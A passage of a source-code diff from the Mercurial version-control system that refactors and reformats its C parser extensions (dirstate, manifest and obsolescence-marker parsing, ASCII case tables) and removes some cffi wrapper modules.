-	'\x30', '\x31', '\x32', '\x33', '\x34', '\x35', '\x36', '\x37',
-	'\x38', '\x39', '\x3a', '\x3b', '\x3c', '\x3d', '\x3e', '\x3f',
-	'\x40',
-	        '\x61', '\x62', '\x63', '\x64', '\x65', '\x66', '\x67', /* A-G */
-	'\x68', '\x69', '\x6a', '\x6b', '\x6c', '\x6d', '\x6e', '\x6f', /* H-O */
-	'\x70', '\x71', '\x72', '\x73', '\x74', '\x75', '\x76', '\x77', /* P-W */
-	'\x78', '\x79', '\x7a',                                         /* X-Z */
-	                        '\x5b', '\x5c', '\x5d', '\x5e', '\x5f',
-	'\x60', '\x61', '\x62', '\x63', '\x64', '\x65', '\x66', '\x67',
-	'\x68', '\x69', '\x6a', '\x6b', '\x6c', '\x6d', '\x6e', '\x6f',
-	'\x70', '\x71', '\x72', '\x73', '\x74', '\x75', '\x76', '\x77',
-	'\x78', '\x79', '\x7a', '\x7b', '\x7c', '\x7d', '\x7e', '\x7f'
-};
-
-static const char uppertable[128] = {
-	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
-	'\x08', '\x09', '\x0a', '\x0b', '\x0c', '\x0d', '\x0e', '\x0f',
-	'\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17',
-	'\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f',
-	'\x20', '\x21', '\x22', '\x23', '\x24', '\x25', '\x26', '\x27',
-	'\x28', '\x29', '\x2a', '\x2b', '\x2c', '\x2d', '\x2e', '\x2f',
-	'\x30', '\x31', '\x32', '\x33', '\x34', '\x35', '\x36', '\x37',
-	'\x38', '\x39', '\x3a', '\x3b', '\x3c', '\x3d', '\x3e', '\x3f',
-	'\x40', '\x41', '\x42', '\x43', '\x44', '\x45', '\x46', '\x47',
-	'\x48', '\x49', '\x4a', '\x4b', '\x4c', '\x4d', '\x4e', '\x4f',
-	'\x50', '\x51', '\x52', '\x53', '\x54', '\x55', '\x56', '\x57',
-	'\x58', '\x59', '\x5a', '\x5b', '\x5c', '\x5d', '\x5e', '\x5f',
-	'\x60',
-		'\x41', '\x42', '\x43', '\x44', '\x45', '\x46', '\x47', /* a-g */
-	'\x48', '\x49', '\x4a', '\x4b', '\x4c', '\x4d', '\x4e', '\x4f', /* h-o */
-	'\x50', '\x51', '\x52', '\x53', '\x54', '\x55', '\x56', '\x57', /* p-w */
-	'\x58', '\x59', '\x5a', 					/* x-z */
-				'\x7b', '\x7c', '\x7d', '\x7e', '\x7f'
-};
-
-/*
- * Turn a hex-encoded string into binary.
- */
-PyObject *unhexlify(const char *str, int len)
-{
-	PyObject *ret;
-	char *d;
-	int i;
-
-	ret = PyBytes_FromStringAndSize(NULL, len / 2);
-
-	if (!ret)
-		return NULL;
-
-	d = PyBytes_AsString(ret);
-
-	for (i = 0; i < len;) {
-		int hi = hexdigit(str, i++);
-		int lo = hexdigit(str, i++);
-		*d++ = (hi << 4) | lo;
-	}
-
-	return ret;
-}
-
-static inline PyObject *_asciitransform(PyObject *str_obj,
-					const char table[128],
-					PyObject *fallback_fn)
-{
-	char *str, *newstr;
-	Py_ssize_t i, len;
-	PyObject *newobj = NULL;
-	PyObject *ret = NULL;
-
-	str = PyBytes_AS_STRING(str_obj);
-	len = PyBytes_GET_SIZE(str_obj);
-
-	newobj = PyBytes_FromStringAndSize(NULL, len);
-	if (!newobj)
-		goto quit;
-
-	newstr = PyBytes_AS_STRING(newobj);
-
-	for (i = 0; i < len; i++) {
-		char c = str[i];
-		if (c & 0x80) {
-			if (fallback_fn != NULL) {
-				ret = PyObject_CallFunctionObjArgs(fallback_fn,
-					str_obj, NULL);
-			} else {
-				PyObject *err = PyUnicodeDecodeError_Create(
-					"ascii", str, len, i, (i + 1),
-					"unexpected code byte");
-				PyErr_SetObject(PyExc_UnicodeDecodeError, err);
-				Py_XDECREF(err);
-			}
-			goto quit;
-		}
-		newstr[i] = table[(unsigned char)c];
-	}
-
-	ret = newobj;
-	Py_INCREF(ret);
-quit:
-	Py_XDECREF(newobj);
-	return ret;
-}
-
-static PyObject *asciilower(PyObject *self, PyObject *args)
-{
-	PyObject *str_obj;
-	if (!PyArg_ParseTuple(args, "O!:asciilower", &PyBytes_Type, &str_obj))
-		return NULL;
-	return _asciitransform(str_obj, lowertable, NULL);
-}
-
-static PyObject *asciiupper(PyObject *self, PyObject *args)
-{
-	PyObject *str_obj;
-	if (!PyArg_ParseTuple(args, "O!:asciiupper", &PyBytes_Type, &str_obj))
-		return NULL;
-	return _asciitransform(str_obj, uppertable, NULL);
-}
-
-static inline PyObject *_dict_new_presized(Py_ssize_t expected_size)
-{
-	/* _PyDict_NewPresized expects a minused parameter, but it actually
-	   creates a dictionary that's the nearest power of two bigger than the
-	   parameter. For example, with the initial minused = 1000, the
-	   dictionary created has size 1024. Of course in a lot of cases that
-	   can be greater than the maximum load factor Python's dict object
-	   expects (= 2/3), so as soon as we cross the threshold we'll resize
-	   anyway. So create a dictionary that's at least 3/2 the size. */
-	return _PyDict_NewPresized(((1 + expected_size) / 2) * 3);
-}
-
 static PyObject *dict_new_presized(PyObject *self, PyObject *args)
 {
 	Py_ssize_t expected_size;
@@ -177,77 +38,6 @@
 	return _dict_new_presized(expected_size);
 }
 
-static PyObject *make_file_foldmap(PyObject *self, PyObject *args)
-{
-	PyObject *dmap, *spec_obj, *normcase_fallback;
-	PyObject *file_foldmap = NULL;
-	enum normcase_spec spec;
-	PyObject *k, *v;
-	dirstateTupleObject *tuple;
-	Py_ssize_t pos = 0;
-	const char *table;
-
-	if (!PyArg_ParseTuple(args, "O!O!O!:make_file_foldmap",
-			      &PyDict_Type, &dmap,
-			      &PyInt_Type, &spec_obj,
-			      &PyFunction_Type, &normcase_fallback))
-		goto quit;
-
-	spec = (int)PyInt_AS_LONG(spec_obj);
-	switch (spec) {
-	case NORMCASE_LOWER:
-		table = lowertable;
-		break;
-	case NORMCASE_UPPER:
-		table = uppertable;
-		break;
-	case NORMCASE_OTHER:
-		table = NULL;
-		break;
-	default:
-		PyErr_SetString(PyExc_TypeError, "invalid normcasespec");
-		goto quit;
-	}
-
-	/* Add some more entries to deal with additions outside this
-	   function. */
-	file_foldmap = _dict_new_presized((PyDict_Size(dmap) / 10) * 11);
-	if (file_foldmap == NULL)
-		goto quit;
-
-	while (PyDict_Next(dmap, &pos, &k, &v)) {
-		if (!dirstate_tuple_check(v)) {
-			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
-			goto quit;
-		}
-
-		tuple = (dirstateTupleObject *)v;
-		if (tuple->state != 'r') {
-			PyObject *normed;
-			if (table != NULL) {
-				normed = _asciitransform(k, table,
-					normcase_fallback);
-			} else {
-				normed = PyObject_CallFunctionObjArgs(
-					normcase_fallback, k, NULL);
-			}
-
-			if (normed == NULL)
-				goto quit;
-			if (PyDict_SetItem(file_foldmap, normed, k) == -1) {
-				Py_DECREF(normed);
-				goto quit;
-			}
-			Py_DECREF(normed);
-		}
-	}
-	return file_foldmap;
-quit:
-	Py_XDECREF(file_foldmap);
-	return NULL;
-}
-
 /*
  * This code assumes that a manifest is stitched together with newline
  * ('\n') characters.
@@ -258,10 +48,8 @@
 	char *str, *start, *end;
 	int len;
 
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_manifest",
-			      &PyDict_Type, &mfdict,
-			      &PyDict_Type, &fdict,
-			      &str, &len))
+	if (!PyArg_ParseTuple(args, "O!O!s#:parse_manifest", &PyDict_Type,
+	                      &mfdict, &PyDict_Type, &fdict, &str, &len))
 		goto quit;
 
 	start = str;
@@ -275,14 +63,14 @@
 		zero = memchr(start, '\0', end - start);
 		if (!zero) {
 			PyErr_SetString(PyExc_ValueError,
-					"manifest entry has no separator");
+			                "manifest entry has no separator");
 			goto quit;
 		}
 
 		newline = memchr(zero + 1, '\n', end - (zero + 1));
 		if (!newline) {
 			PyErr_SetString(PyExc_ValueError,
-					"manifest contains trailing garbage");
+			                "manifest contains trailing garbage");
 			goto quit;
 		}
 
@@ -293,13 +81,12 @@
 
 		nlen = newline - zero - 1;
 
-		node = unhexlify(zero + 1, nlen > 40 ? 40 : (int)nlen);
+		node = unhexlify(zero + 1, nlen > 40 ? 40 : (Py_ssize_t)nlen);
 		if (!node)
 			goto bail;
 
 		if (nlen > 40) {
-			flags = PyBytes_FromStringAndSize(zero + 41,
-							   nlen - 40);
+			flags = PyBytes_FromStringAndSize(zero + 41, nlen - 40);
 			if (!flags)
 				goto bail;
 
@@ -330,10 +117,10 @@
 }
 
 static inline dirstateTupleObject *make_dirstate_tuple(char state, int mode,
-						       int size, int mtime)
+                                                       int size, int mtime)
 {
-	dirstateTupleObject *t = PyObject_New(dirstateTupleObject,
-					      &dirstateTupleType);
+	dirstateTupleObject *t =
+	    PyObject_New(dirstateTupleObject, &dirstateTupleType);
 	if (!t)
 		return NULL;
 	t->state = state;
@@ -344,7 +131,7 @@
 }
 
 static PyObject *dirstate_tuple_new(PyTypeObject *subtype, PyObject *args,
-				    PyObject *kwds)
+                                    PyObject *kwds)
 {
 	/* We do all the initialization here and not a tp_init function because
 	 * dirstate_tuple is immutable. */
@@ -394,55 +181,55 @@
 }
 
 static PySequenceMethods dirstate_tuple_sq = {
-	dirstate_tuple_length,     /* sq_length */
-	0,                         /* sq_concat */
-	0,                         /* sq_repeat */
-	dirstate_tuple_item,       /* sq_item */
-	0,                         /* sq_ass_item */
-	0,                         /* sq_contains */
-	0,                         /* sq_inplace_concat */
-	0                          /* sq_inplace_repeat */
+    dirstate_tuple_length, /* sq_length */
+    0,                     /* sq_concat */
+    0,                     /* sq_repeat */
+    dirstate_tuple_item,   /* sq_item */
+    0,                     /* sq_ass_item */
+    0,                     /* sq_contains */
+    0,                     /* sq_inplace_concat */
+    0                      /* sq_inplace_repeat */
 };
 
 PyTypeObject dirstateTupleType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
-	"dirstate_tuple",          /* tp_name */
-	sizeof(dirstateTupleObject),/* tp_basicsize */
-	0,                         /* tp_itemsize */
-	(destructor)dirstate_tuple_dealloc, /* tp_dealloc */
-	0,                         /* tp_print */
-	0,                         /* tp_getattr */
-	0,                         /* tp_setattr */
-	0,                         /* tp_compare */
-	0,                         /* tp_repr */
-	0,                         /* tp_as_number */
-	&dirstate_tuple_sq,        /* tp_as_sequence */
-	0,                         /* tp_as_mapping */
-	0,                         /* tp_hash  */
-	0,                         /* tp_call */
-	0,                         /* tp_str */
-	0,                         /* tp_getattro */
-	0,                         /* tp_setattro */
-	0,                         /* tp_as_buffer */
-	Py_TPFLAGS_DEFAULT,        /* tp_flags */
-	"dirstate tuple",          /* tp_doc */
-	0,                         /* tp_traverse */
-	0,                         /* tp_clear */
-	0,                         /* tp_richcompare */
-	0,                         /* tp_weaklistoffset */
-	0,                         /* tp_iter */
-	0,                         /* tp_iternext */
-	0,                         /* tp_methods */
-	0,                         /* tp_members */
-	0,                         /* tp_getset */
-	0,                         /* tp_base */
-	0,                         /* tp_dict */
-	0,                         /* tp_descr_get */
-	0,                         /* tp_descr_set */
-	0,                         /* tp_dictoffset */
-	0,                         /* tp_init */
-	0,                         /* tp_alloc */
-	dirstate_tuple_new,        /* tp_new */
+    PyVarObject_HEAD_INIT(NULL, 0)      /* header */
+    "dirstate_tuple",                   /* tp_name */
+    sizeof(dirstateTupleObject),        /* tp_basicsize */
+    0,                                  /* tp_itemsize */
+    (destructor)dirstate_tuple_dealloc, /* tp_dealloc */
+    0,                                  /* tp_print */
+    0,                                  /* tp_getattr */
+    0,                                  /* tp_setattr */
+    0,                                  /* tp_compare */
+    0,                                  /* tp_repr */
+    0,                                  /* tp_as_number */
+    &dirstate_tuple_sq,                 /* tp_as_sequence */
+    0,                                  /* tp_as_mapping */
+    0,                                  /* tp_hash  */
+    0,                                  /* tp_call */
+    0,                                  /* tp_str */
+    0,                                  /* tp_getattro */
+    0,                                  /* tp_setattro */
+    0,                                  /* tp_as_buffer */
+    Py_TPFLAGS_DEFAULT,                 /* tp_flags */
+    "dirstate tuple",                   /* tp_doc */
+    0,                                  /* tp_traverse */
+    0,                                  /* tp_clear */
+    0,                                  /* tp_richcompare */
+    0,                                  /* tp_weaklistoffset */
+    0,                                  /* tp_iter */
+    0,                                  /* tp_iternext */
+    0,                                  /* tp_methods */
+    0,                                  /* tp_members */
+    0,                                  /* tp_getset */
+    0,                                  /* tp_base */
+    0,                                  /* tp_dict */
+    0,                                  /* tp_descr_get */
+    0,                                  /* tp_descr_set */
+    0,                                  /* tp_dictoffset */
+    0,                                  /* tp_init */
+    0,                                  /* tp_alloc */
+    dirstate_tuple_new,                 /* tp_new */
 };
 
 static PyObject *parse_dirstate(PyObject *self, PyObject *args)
@@ -454,18 +241,16 @@
 	unsigned int flen, len, pos = 40;
 	int readlen;
 
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_dirstate",
-			      &PyDict_Type, &dmap,
-			      &PyDict_Type, &cmap,
-			      &str, &readlen))
+	if (!PyArg_ParseTuple(args, "O!O!s#:parse_dirstate", &PyDict_Type,
+	                      &dmap, &PyDict_Type, &cmap, &str, &readlen))
 		goto quit;
 
 	len = readlen;
 
 	/* read parents */
 	if (len < 40) {
-		PyErr_SetString(
-			PyExc_ValueError, "too little data for parents");
+		PyErr_SetString(PyExc_ValueError,
+		                "too little data for parents");
 		goto quit;
 	}
 
@@ -477,7 +262,7 @@
 	while (pos >= 40 && pos < len) {
 		if (pos + 17 > len) {
 			PyErr_SetString(PyExc_ValueError,
-					"overflow in dirstate");
+			                "overflow in dirstate");
 			goto quit;
 		}
 		cur = str + pos;
@@ -490,17 +275,18 @@
 		pos += 17;
 		cur += 17;
 		if (flen > len - pos) {
-			PyErr_SetString(PyExc_ValueError, "overflow in dirstate");
+			PyErr_SetString(PyExc_ValueError,
+			                "overflow in dirstate");
 			goto quit;
 		}
 
-		entry = (PyObject *)make_dirstate_tuple(state, mode, size,
-							mtime);
+		entry =
+		    (PyObject *)make_dirstate_tuple(state, mode, size, mtime);
 		cpos = memchr(cur, 0, flen);
 		if (cpos) {
 			fname = PyBytes_FromStringAndSize(cur, cpos - cur);
-			cname = PyBytes_FromStringAndSize(cpos + 1,
-							   flen - (cpos - cur) - 1);
+			cname = PyBytes_FromStringAndSize(
+			    cpos + 1, flen - (cpos - cur) - 1);
 			if (!fname || !cname ||
 			    PyDict_SetItem(cmap, fname, cname) == -1 ||
 			    PyDict_SetItem(dmap, fname, entry) == -1)
@@ -508,8 +294,7 @@
 			Py_DECREF(cname);
 		} else {
 			fname = PyBytes_FromStringAndSize(cur, flen);
-			if (!fname ||
-			    PyDict_SetItem(dmap, fname, entry) == -1)
+			if (!fname || PyDict_SetItem(dmap, fname, entry) == -1)
 				goto quit;
 		}
 		Py_DECREF(fname);
@@ -530,14 +315,14 @@
 
 /*
  * Build a set of non-normal and other parent entries from the dirstate dmap
-*/
-static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args) {
+ */
+static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args)
+{
 	PyObject *dmap, *fname, *v;
 	PyObject *nonnset = NULL, *otherpset = NULL, *result = NULL;
 	Py_ssize_t pos;
 
-	if (!PyArg_ParseTuple(args, "O!:nonnormalentries",
-			      &PyDict_Type, &dmap))
+	if (!PyArg_ParseTuple(args, "O!:nonnormalentries", &PyDict_Type, &dmap))
 		goto bail;
 
 	nonnset = PySet_New(NULL);
@@ -553,7 +338,7 @@
 		dirstateTupleObject *t;
 		if (!dirstate_tuple_check(v)) {
 			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
+			                "expected a dirstate tuple");
 			goto bail;
 		}
 		t = (dirstateTupleObject *)v;
@@ -595,9 +380,8 @@
 	char *p, *s;
 	int now;
 
-	if (!PyArg_ParseTuple(args, "O!O!Oi:pack_dirstate",
-			      &PyDict_Type, &map, &PyDict_Type, &copymap,
-			      &pl, &now))
+	if (!PyArg_ParseTuple(args, "O!O!Oi:pack_dirstate", &PyDict_Type, &map,
+	                      &PyDict_Type, &copymap, &pl, &now))
 		return NULL;
 
 	if (!PySequence_Check(pl) || PySequence_Size(pl) != 2) {
@@ -617,7 +401,7 @@
 		if (c) {
 			if (!PyBytes_Check(c)) {
 				PyErr_SetString(PyExc_TypeError,
-						"expected string key");
+				                "expected string key");
 				goto bail;
 			}
 			nbytes += PyBytes_GET_SIZE(c) + 1;
@@ -645,7 +429,7 @@
 	memcpy(p, s, l);
 	p += 20;
 
-	for (pos = 0; PyDict_Next(map, &pos, &k, &v); ) {
+	for (pos = 0; PyDict_Next(map, &pos, &k, &v);) {
 		dirstateTupleObject *tuple;
 		char state;
 		int mode, size, mtime;
@@ -655,7 +439,7 @@
 
 		if (!dirstate_tuple_check(v)) {
 			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
+			                "expected a dirstate tuple");
 			goto bail;
 		}
 		tuple = (dirstateTupleObject *)v;
@@ -669,7 +453,7 @@
 			 * this. */
 			mtime = -1;
 			mtime_unset = (PyObject *)make_dirstate_tuple(
-				state, mode, size, mtime);
+			    state, mode, size, mtime);
 			if (!mtime_unset)
 				goto bail;
 			if (PyDict_SetItem(map, k, mtime_unset) == -1)
@@ -700,7 +484,7 @@
 	pos = p - PyBytes_AS_STRING(packobj);
 	if (pos != nbytes) {
 		PyErr_Format(PyExc_SystemError, "bad dirstate size: %ld != %ld",
-                             (long)pos, (long)nbytes);
+		             (long)pos, (long)nbytes);
 		goto bail;
 	}
 
@@ -716,8 +500,8 @@
 #define USING_SHA_256 2
 #define FM1_HEADER_SIZE (4 + 8 + 2 + 2 + 1 + 1 + 1)
 
-static PyObject *readshas(
-	const char *source, unsigned char num, Py_ssize_t hashwidth)
+static PyObject *readshas(const char *source, unsigned char num,
+                          Py_ssize_t hashwidth)
 {
 	int i;
 	PyObject *list = PyTuple_New(num);
@@ -737,7 +521,7 @@
 }
 
 static PyObject *fm1readmarker(const char *databegin, const char *dataend,
-			       uint32_t *msize)
+                               uint32_t *msize)
 {
 	const char *data = databegin;
 	const char *meta;
@@ -776,7 +560,7 @@
 	if (databegin + *msize > dataend) {
 		goto overflow;
 	}
-	dataend = databegin + *msize;  /* narrow down to marker size */
+	dataend = databegin + *msize; /* narrow down to marker size */
 
 	if (data + hashwidth > dataend) {
 		goto overflow;
@@ -840,9 +624,9 @@
 		PyTuple_SET_ITEM(tmp, 1, right);
 		PyTuple_SET_ITEM(metadata, i, tmp);
 	}
-	ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags,
-			    metadata, mtime, (int)tz * 60, parents);
-	goto bail;  /* return successfully */
+	ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags, metadata, mtime,
+	                    (int)tz * 60, parents);
+	goto bail; /* return successfully */
 
 overflow:
 	PyErr_SetString(PyExc_ValueError, "overflow in obsstore");
@@ -854,8 +638,8 @@
 	return ret;
 }
 
-
-static PyObject *fm1readmarkers(PyObject *self, PyObject *args) {
+static PyObject *fm1readmarkers(PyObject *self, PyObject *args)
+{
 	const char *data, *dataend;
 	int datalen;
 	Py_ssize_t offset, stop;
@@ -899,32 +683,34 @@
 PyObject *parse_index2(PyObject *self, PyObject *args);
 
 static PyMethodDef methods[] = {
-	{"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
-	{"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
-	"create a set containing non-normal and other parent entries of given "
-	"dirstate\n"},
-	{"parse_manifest", parse_manifest, METH_VARARGS, "parse a manifest\n"},
-	{"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
-	{"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
-	{"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
-	{"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
-	{"dict_new_presized", dict_new_presized, METH_VARARGS,
-	 "construct a dict with an expected size\n"},
-	{"make_file_foldmap", make_file_foldmap, METH_VARARGS,
-	 "make file foldmap\n"},
-	{"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
-	{"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
-	{"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
-	{"fm1readmarkers", fm1readmarkers, METH_VARARGS,
-			"parse v1 obsolete markers\n"},
-	{NULL, NULL}
-};
+    {"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
+    {"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
+     "create a set containing non-normal and other parent entries of given "
+     "dirstate\n"},
+    {"parse_manifest", parse_manifest, METH_VARARGS, "parse a manifest\n"},
+    {"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
+    {"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
+    {"isasciistr", isasciistr, METH_VARARGS, "check if an ASCII string\n"},
+    {"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
+    {"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
+    {"dict_new_presized", dict_new_presized, METH_VARARGS,
+     "construct a dict with an expected size\n"},
+    {"make_file_foldmap", make_file_foldmap, METH_VARARGS,
+     "make file foldmap\n"},
+    {"jsonescapeu8fast", jsonescapeu8fast, METH_VARARGS,
+     "escape a UTF-8 byte string to JSON (fast path)\n"},
+    {"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
+    {"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
+    {"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
+    {"fm1readmarkers", fm1readmarkers, METH_VARARGS,
+     "parse v1 obsolete markers\n"},
+    {NULL, NULL}};
 
 void dirs_module_init(PyObject *mod);
 void manifest_module_init(PyObject *mod);
 void revlog_module_init(PyObject *mod);
 
-static const int version = 1;
+static const int version = 3;
 
 static void module_init(PyObject *mod)
 {
@@ -948,7 +734,7 @@
 		return;
 	Py_INCREF(&dirstateTupleType);
 	PyModule_AddObject(mod, "dirstatetuple",
-			   (PyObject *)&dirstateTupleType);
+	                   (PyObject *)&dirstateTupleType);
 }
 
 static int check_python_version(void)
@@ -967,24 +753,23 @@
 	 * should only occur in unusual circumstances (e.g. if sys.hexversion
 	 * is manually set to an invalid value). */
 	if ((hexversion == -1) || (hexversion >> 16 != PY_VERSION_HEX >> 16)) {
-		PyErr_Format(PyExc_ImportError, "%s: The Mercurial extension "
-			"modules were compiled with Python " PY_VERSION ", but "
-			"Mercurial is currently using Python with sys.hexversion=%ld: "
-			"Python %s\n at: %s", versionerrortext, hexversion,
-			Py_GetVersion(), Py_GetProgramFullPath());
+		PyErr_Format(PyExc_ImportError,
+		             "%s: The Mercurial extension "
+		             "modules were compiled with Python " PY_VERSION
+		             ", but "
+		             "Mercurial is currently using Python with "
+		             "sys.hexversion=%ld: "
+		             "Python %s\n at: %s",
+		             versionerrortext, hexversion, Py_GetVersion(),
+		             Py_GetProgramFullPath());
 		return -1;
 	}
 	return 0;
 }
 
 #ifdef IS_PY3K
-static struct PyModuleDef parsers_module = {
-	PyModuleDef_HEAD_INIT,
-	"parsers",
-	parsers_doc,
-	-1,
-	methods
-};
+static struct PyModuleDef parsers_module = {PyModuleDef_HEAD_INIT, "parsers",
+                                            parsers_doc, -1, methods};
 
 PyMODINIT_FUNC PyInit_parsers(void)
 {
diff --git a/mercurial/cext/revlog.c b/mercurial/cext/revlog.c
--- a/mercurial/cext/revlog.c
+++ b/mercurial/cext/revlog.c
@@ -13,8 +13,9 @@
 #include <stddef.h>
 #include <string.h>
 
+#include "bitmanipulation.h"
+#include "charencode.h"
 #include "util.h"
-#include "bitmanipulation.h"
 
 #ifdef IS_PY3K
 /* The mapping of Python types is meant to be temporary to get Python
@@ -406,7 +407,8 @@
 	return newlist;
 }
 
-static int check_filter(PyObject *filter, Py_ssize_t arg) {
+static int check_filter(PyObject *filter, Py_ssize_t arg)
+{
 	if (filter) {
 		PyObject *arglist, *result;
 		int isfiltered;
@@ -444,8 +446,7 @@
 		iter = PyObject_GetIter(list);
 		if (iter == NULL)
 			return -2;
-		while ((iter_item = PyIter_Next(iter)))
-		{
+		while ((iter_item = PyIter_Next(iter))) {
 			iter_item_long = PyInt_AS_LONG(iter_item);
 			Py_DECREF(iter_item);
 			if (iter_item_long < min_idx)
@@ -1990,7 +1991,7 @@
 };
 
 static PyTypeObject indexType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
+	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"parsers.index",           /* tp_name */
 	sizeof(indexObject),       /* tp_basicsize */
 	0,                         /* tp_itemsize */
diff --git a/mercurial/cext/util.h b/mercurial/cext/util.h
--- a/mercurial/cext/util.h
+++ b/mercurial/cext/util.h
@@ -14,6 +14,7 @@
 #define IS_PY3K
 #endif
 
+/* clang-format off */
 typedef struct {
 	PyObject_HEAD
 	char state;
@@ -21,18 +22,12 @@
 	int size;
 	int mtime;
 } dirstateTupleObject;
+/* clang-format on */
 
 extern PyTypeObject dirstateTupleType;
 #define dirstate_tuple_check(op) (Py_TYPE(op) == &dirstateTupleType)
 
-/* This should be kept in sync with normcasespecs in encoding.py. */
-enum normcase_spec {
-	NORMCASE_LOWER = -1,
-	NORMCASE_UPPER = 1,
-	NORMCASE_OTHER = 0
-};
-
-#define MIN(a, b) (((a)<(b))?(a):(b))
+#define MIN(a, b) (((a) < (b)) ? (a) : (b))
 /* VC9 doesn't include bool and lacks stdbool.h based on my searching */
 #if defined(_MSC_VER) || __STDC_VERSION__ < 199901L
 #define true 1
@@ -42,35 +37,16 @@
 #include <stdbool.h>
 #endif
 
-static const int8_t hextable[256] = {
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	 0,  1,  2,  3,  4,  5,  6,  7,  8,  9, -1, -1, -1, -1, -1, -1, /* 0-9 */
-	-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* A-F */
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* a-f */
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
-};
-
-static inline int hexdigit(const char *p, Py_ssize_t off)
+static inline PyObject *_dict_new_presized(Py_ssize_t expected_size)
 {
-	int8_t val = hextable[(unsigned char)p[off]];
-
-	if (val >= 0) {
-		return val;
-	}
-
-	PyErr_SetString(PyExc_ValueError, "input contains non-hex character");
-	return 0;
+	/* _PyDict_NewPresized expects a minused parameter, but it actually
+	   creates a dictionary that's the nearest power of two bigger than the
+	   parameter. For example, with the initial minused = 1000, the
+	   dictionary created has size 1024. Of course in a lot of cases that
+	   can be greater than the maximum load factor Python's dict object
+	   expects (= 2/3), so as soon as we cross the threshold we'll resize
+	   anyway. So create a dictionary that's at least 3/2 the size. */
+	return _PyDict_NewPresized(((1 + expected_size) / 2) * 3);
 }
 
 #endif /* _HG_UTIL_H_ */
diff --git a/mercurial/cffi/base85.py b/mercurial/cffi/base85.py
deleted file mode 100644
--- a/mercurial/cffi/base85.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# base85.py: pure python base85 codec
-#
-# Copyright (C) 2009 Brendan Cully <brendan@kublai.com>
-#
-# This software may be used and distributed according to the terms of the
-# GNU General Public License version 2 or any later version.
-
-from __future__ import absolute_import
-
-from ..pure.base85 import *
diff --git a/mercurial/cffi/diffhelpers.py b/mercurial/cffi/diffhelpers.py
deleted file mode 100644
--- a/mercurial/cffi/diffhelpers.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# diffhelpers.py - pure Python implementation of diffhelpers.c
-#
-# Copyright 2009 Matt Mackall <mpm@selenic.com> and others
-#
-# This software may be used and distributed according to the terms of the
-# GNU General Public License version 2 or any later version.
-
-from __future__ import absolute_import
-
-from ..pure.diffhelpers import *
diff --git a/mercurial/cffi/osutil.py b/mercurial/cffi/osutil.py
--- a/mercurial/cffi/osutil.py
+++ b/mercurial/cffi/osutil.py
@@ -16,7 +16,7 @@
     pycompat,
 )
 
-if pycompat.sysplatform == 'darwin':
+if pycompat.isdarwin:
     from . import _osutil
 
     ffi = _osutil.ffi
diff --git a/mercurial/cffi/parsers.py b/mercurial/cffi/parsers.py
deleted file mode 100644
--- a/mercurial/cffi/parsers.py
+++ /dev/null
@@ -1,10 +0,0 @@
-# parsers.py - Python implementation of parsers.c
-#
-# Copyright 2009 Matt Mackall <mpm@selenic.com> and others
-#
-# This software may be used and distributed according to the terms of the
